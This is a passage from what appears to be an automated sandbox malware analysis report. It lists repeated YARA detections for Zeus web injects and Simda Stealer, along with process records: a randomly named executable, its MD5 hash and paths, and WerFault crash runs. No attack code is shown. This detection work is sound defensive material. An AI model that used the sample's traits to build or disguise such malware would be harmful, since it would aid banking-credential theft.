                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2685802942.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2642126160.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2712084966.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2696066198.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2711910580.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2684054026.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2672453488.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2642540091.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000002.3391439892.00000000029A0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2683452927.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2682237093.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2591770836.0000000005450000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2646105043.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2634522992.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2681497968.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2488750222.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2634738816.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2710792546.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000002.3391439892.00000000029F3000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2643292305.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2681300847.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2509383327.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2681891778.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2683874460.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2504620207.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2636504789.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2680873224.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2684684807.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2643045244.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2642865814.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2562478885.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2684438036.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2712266421.000000000EE00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2671268394.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2684242011.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2650052400.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2689405360.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2643706755.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2682432522.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2522638686.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: JoeSecurity_SimdaStealer, Description: Yara detected Simda Stealer, Source: 00000002.00000003.2136596251.0000000000881000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2136596251.0000000000881000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2695314934.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2666567712.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2711233354.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2649020462.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2670333858.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2638992211.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2682624187.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2683674807.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          Reputation:low
                                                                                                                                                                                                          Has exited:false

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:6
                                                                                                                                                                                                          Start time:12:13:33
                                                                                                                                                                                                          Start date:11/11/2024
                                                                                                                                                                                                          Path:C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:"C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe"
                                                                                                                                                                                                          Imagebase:0x5a0000
                                                                                                                                                                                                          File size:140'800 bytes
                                                                                                                                                                                                          MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Yara matches:
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000006.00000002.2562028304.0000000001740000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000006.00000002.2561383940.00000000016E0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          Reputation:high
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:7
                                                                                                                                                                                                          Start time:12:13:33
                                                                                                                                                                                                          Start date:11/11/2024
                                                                                                                                                                                                          Path:C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:"C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe"
                                                                                                                                                                                                          Imagebase:0x5a0000
                                                                                                                                                                                                          File size:140'800 bytes
                                                                                                                                                                                                          MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Yara matches:
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000007.00000002.2554723271.0000000002FA0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000007.00000002.2555462875.0000000003100000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          Reputation:high
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:10
                                                                                                                                                                                                          Start time:12:13:33
                                                                                                                                                                                                          Start date:11/11/2024
                                                                                                                                                                                                          Path:C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:"C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe"
                                                                                                                                                                                                          Imagebase:0x5a0000
                                                                                                                                                                                                          File size:140'800 bytes
                                                                                                                                                                                                          MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Yara matches:
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 0000000A.00000002.2576688656.0000000001520000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 0000000A.00000002.2575020460.00000000014C0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          Reputation:high
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:12
                                                                                                                                                                                                          Start time:12:13:34
                                                                                                                                                                                                          Start date:11/11/2024
                                                                                                                                                                                                          Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 1656 -s 704
                                                                                                                                                                                                          Imagebase:0xe20000
                                                                                                                                                                                                          File size:483'680 bytes
                                                                                                                                                                                                          MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Reputation:high
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:13
                                                                                                                                                                                                          Start time:12:13:34
                                                                                                                                                                                                          Start date:11/11/2024
                                                                                                                                                                                                          Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 3000 -s 736
                                                                                                                                                                                                          Imagebase:0xe20000
                                                                                                                                                                                                          File size:483'680 bytes
                                                                                                                                                                                                          MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Reputation:high
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:14
                                                                                                                                                                                                          Start time:12:13:35
                                                                                                                                                                                                          Start date:11/11/2024
                                                                                                                                                                                                          Path:C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:"C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe"
                                                                                                                                                                                                          Imagebase:0x5a0000
                                                                                                                                                                                                          File size:140'800 bytes
                                                                                                                                                                                                          MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Yara matches:
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 0000000E.00000002.2558937111.0000000002920000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 0000000E.00000002.2560722712.0000000002AC0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          Reputation:high
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:16
                                                                                                                                                                                                          Start time:12:13:35
                                                                                                                                                                                                          Start date:11/11/2024
                                                                                                                                                                                                          Path:C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:"C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe"
                                                                                                                                                                                                          Imagebase:0x5a0000
                                                                                                                                                                                                          File size:140'800 bytes
                                                                                                                                                                                                          MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Yara matches:
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000010.00000002.2538477716.0000000002A60000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000010.00000002.2535763642.0000000002790000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          Reputation:high
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:17
                                                                                                                                                                                                          Start time:12:13:36
                                                                                                                                                                                                          Start date:11/11/2024
                                                                                                                                                                                                          Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 616 -s 916
                                                                                                                                                                                                          Imagebase:0xe20000
                                                                                                                                                                                                          File size:483'680 bytes
                                                                                                                                                                                                          MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Reputation:high
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:19
                                                                                                                                                                                                          Start time:12:13:36
                                                                                                                                                                                                          Start date:11/11/2024
                                                                                                                                                                                                          Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 3704 -s 712
                                                                                                                                                                                                          Imagebase:0xe20000
                                                                                                                                                                                                          File size:483'680 bytes
                                                                                                                                                                                                          MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Reputation:high
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:20
                                                                                                                                                                                                          Start time:12:13:36
                                                                                                                                                                                                          Start date:11/11/2024
                                                                                                                                                                                                          Path:C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:"C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe"
                                                                                                                                                                                                          Imagebase:0x5a0000
                                                                                                                                                                                                          File size:140'800 bytes
                                                                                                                                                                                                          MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Yara matches:
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000014.00000002.2584784821.00000000027D0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000014.00000002.2583716021.0000000002650000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:22
                                                                                                                                                                                                          Start time:12:13:39
                                                                                                                                                                                                          Start date:11/11/2024
                                                                                                                                                                                                          Path:C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:"C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe"
                                                                                                                                                                                                          Imagebase:0x5a0000
                                                                                                                                                                                                          File size:140'800 bytes
                                                                                                                                                                                                          MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Yara matches:
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000016.00000002.2606518078.00000000005E0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000016.00000002.2610943205.0000000002340000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:24
                                                                                                                                                                                                          Start time:12:13:40
                                                                                                                                                                                                          Start date:11/11/2024
                                                                                                                                                                                                          Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 5576 -s 760
                                                                                                                                                                                                          Imagebase:0xe20000
                                                                                                                                                                                                          File size:483'680 bytes
                                                                                                                                                                                                          MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:25
                                                                                                                                                                                                          Start time:12:13:40
                                                                                                                                                                                                          Start date:11/11/2024
                                                                                                                                                                                                          Path:C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
